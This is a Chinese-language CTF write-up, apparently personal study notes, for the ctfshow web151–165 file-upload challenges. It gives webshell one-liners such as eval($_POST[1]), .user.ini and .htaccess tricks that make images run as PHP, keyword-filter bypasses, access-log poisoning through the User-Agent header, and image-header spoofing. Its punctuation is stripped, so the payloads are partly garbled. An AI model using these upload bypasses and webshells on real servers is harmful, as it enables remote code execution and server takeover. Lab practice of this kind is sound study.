ctfshow-web151(3.30)文件上传上传只能传图片解决方法改前端ctfshow-web152(3.30)解决方法上传.png在bp里面改后缀ctfshow-web153(3.30)解决方法先上传.user.ini里面是auto_prepend_filedemo.png然后上传demo.png文件按就会把.png文件按照php来解析就成功了这里用的是.user.iniapacha就可以用.htaccessAddType application/x-httpd-php .txt .jpg .png都是同样的道理ctfshow-web154(3.31)和上一道题同样的道理这道题过滤了php把demo.png里面的代码改一下?eval($_POST[cmd]);phpinfo();?然后传.user.ini记住修改auto_prepend_filexxx.png访问/upload/ctfshow-web155(3.31)这道题过滤了[ ]把demo.png里面的代码改一下?eval($_POST{1});?然后传.user.ini记住修改auto_prepend_filexxx.png访问/upload/ctfshow-web156(3.31)这道题过滤了php[ ];把demo.png里面的代码改一下?system(tac ../f*)?然后传.user.ini记住修改auto_prepend_filexxx.png访问/upload/ctfshow-web159(3.31)这道题过滤了php[ ];( )把demo.png里面的代码改一下?tac ../f*?然后传.user.ini记住修改auto_prepend_filexxx.png访问/upload/ctfshow-web160(3.31)过滤了php执行函数反引号等不能在图片中藏一句话木马并且过滤了关键字log要用拼接绕过1、上传图片和user.ini图片的内容为?include/var/lo.g/nginx/access.lo.g?auto_prepend_filetest.png扩展知识?include/var/lo.g/nginx/access.lo.g?是一段 PHP 代码其作用是包含读取并执行指定路径的文件内容如果这段代码被放入一个 PHP 文件中并运行它会尝试包含 /var/log/nginx/access.log 文件的内容如果成功文件内容将作为 PHP 代码解析并执行如果文件中包含可执行 PHP 代码并且为了应对过滤关键词log使用了lo.g进行替代/var/log/nginx/access.log 是 Nginx 服务器的默认访问日志文件路径2、访问并修改ua头用上我们的一句话木马?php eval($_POST[1]);?3、老办法拿到flag1system(tac ../flag.php);ctfshow-web161(3.31)考点和Web160基本一致唯一的区别在于后端会检测png文件是否真的为png所以要加上图片头GIF89AGIF89A?include/var/lo.g/nginx/access.lo.g?GIF89Aauto_append_filetest.pngctfshow-web164(4.1)考点png二次渲染除了正常图片的其他一切图片都不能上传点了查看图片后点击查看图片发现页面跳转同时图片显示证明存在文件包含1、尝试生成一个图片马代码如下C:\Users\31979\Desktop\每天web\第二周\164poc.php打开生成的图片可以看见一句话木马2、将生成好的test.png上传放行再查看图片抓GET数据包放入重放器并修改请求方法注意手机抓这里的包0system1tar flag.php就可以找到flagctfshow-web165(4.1)考点jpg二次渲染复现过程1、不能上传一个jpg文件要用专属的查看图片后抓包发现一段信息证明存在jpg二次渲染能复刻成功的图片https://picb9.photophoto.cn/25/818/25818319_1.jpg说明有后端会进行一次渲染2、在查看图片后将该图片另存为下来使用以下脚本进行渲染php 165jpg_payload.php download.jpg在windows下面我尝试了一个晚自习也没法解决这个问题我用尽了AI说的一切方法都无法拒绝解决这个库的问题结果第二天早上我实在没招了就用linux尝试一下就成功了真的是气死我了linux要先安装库sudo apt updatesudo apt install php-gd3、上传渲染后的图片放行后查看图片抓包放到重放器修改请求方法然后就可以嘿嘿嘿执行命令了抓的是这个的包1system(cat flag.php);ctfshow-web165(4.3)1、查看网站源码发现只能上传zip文件2、随便拉一个zip文件出来注入神秘一句话木马上传抓包?php eval($_POST[1]);?3、上传后放行抓下载文件后的包还是老几样放到重放器修改请求方法然后就可以执行命令抓flag了1system(tac ../f*);或者直接修改修改 Content-Type 为 application/x-zip-compressed